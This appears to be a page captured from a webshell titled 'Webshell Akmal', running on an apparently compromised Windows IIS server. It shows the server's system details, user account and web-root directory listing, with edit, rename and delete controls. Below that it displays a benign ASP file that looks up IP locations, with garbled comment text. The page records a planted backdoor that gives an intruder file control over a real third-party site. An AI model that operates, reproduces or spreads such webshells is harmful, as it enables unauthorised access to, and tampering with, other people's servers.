Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%
'���ߣ������www.lingchenliang.com��QQ��57404811��
'�������ܣ���ASPͨ��AJAX XMLHTTP��ʽ��ȡ�ٶȻ�www.ip138.com��IP��ѯ�ĵ���λ����Ϣ
'��ٶȻ�IP138��ѯ���ҳHTML�и��ģ����ӿڽ�ʧЧ���������޸Ķ�Ӧ�Ŀ�ʼ�ͽ�����Ǽ���
'�������ӿ����ͣ�0���ٶȽӿڣ�������IP138�ӿڣ���IP��ַ
function gw_gethttpstr(styp,ip)
    On Error Resume Next 
    Server.ScriptTimeOut=9999999 
    Dim url,a,b,wstr,start,over,body
    if styp=0 then
        url="https://www.baidu.com/s?wd=" & ip
        a=ip & "�� ����" 'ASP��ȡĿ����ҳ���ݿ�ʼ��� 
        b="����ip�����" 'ASP��ȡ��ҳ���ݽ������
    else
        url="http://www.ip138.com/ips138.asp?ip=" & ip
        a="��վ���ݣ�" 'ASP��ȡĿ����ҳ���ݿ�ʼ���
        b="</li><li>�ο�����" 'ASP��ȡ��ҳ���ݽ������
    end if 
    wstr=getHTTPPage(styp,url)
    start=Newstring(wstr,a)+len(a)
    over=Newstring(wstr,b)
    body=mid(wstr,start,over-start)
	gw_gethttpstr=trim(body)
    
end function
 
Function getHTTPPage(styp,Path) 
    dim t
    t = GetBody(Path) 
    if styp=0 then
        getHTTPPage=BytesToBstr(t,"utf-8") '�ٶ�ҳ����UTF-8����
    else
        getHTTPPage=BytesToBstr(t,"gb2312") 'IP138ҳ����GB2312����
    end if
End function
 
Function GetBody(url) 
    dim Retrieval
    Set Retrieval = CreateObject("Microsoft.XMLHTTP") 
    With Retrieval 
    .Open "Get", url, false, "", "" 
    .Send 
    GetBody = .ResponseBody 
    End With 
    Set Retrieval = Nothing 
End Function 
 
Function BytesToBstr(body,Cset) 
    dim objstream 
    set objstream = Server.CreateObject("adodb.stream") 
    objstream.Type = 1 
    objstream.Mode =3 
    objstream.Open 
    objstream.Write body 
    objstream.Position = 0 
    objstream.Type = 2 
    objstream.Charset = Cset 
    BytesToBstr = objstream.ReadText 
    objstream.Close 
    set objstream = nothing 
End Function
 
Function Newstring(wstr,strng) 
    Newstring=Instr(lcase(wstr),lcase(strng)) 
    if Newstring<=0 then Newstring=Len(wstr) 
End Function
%>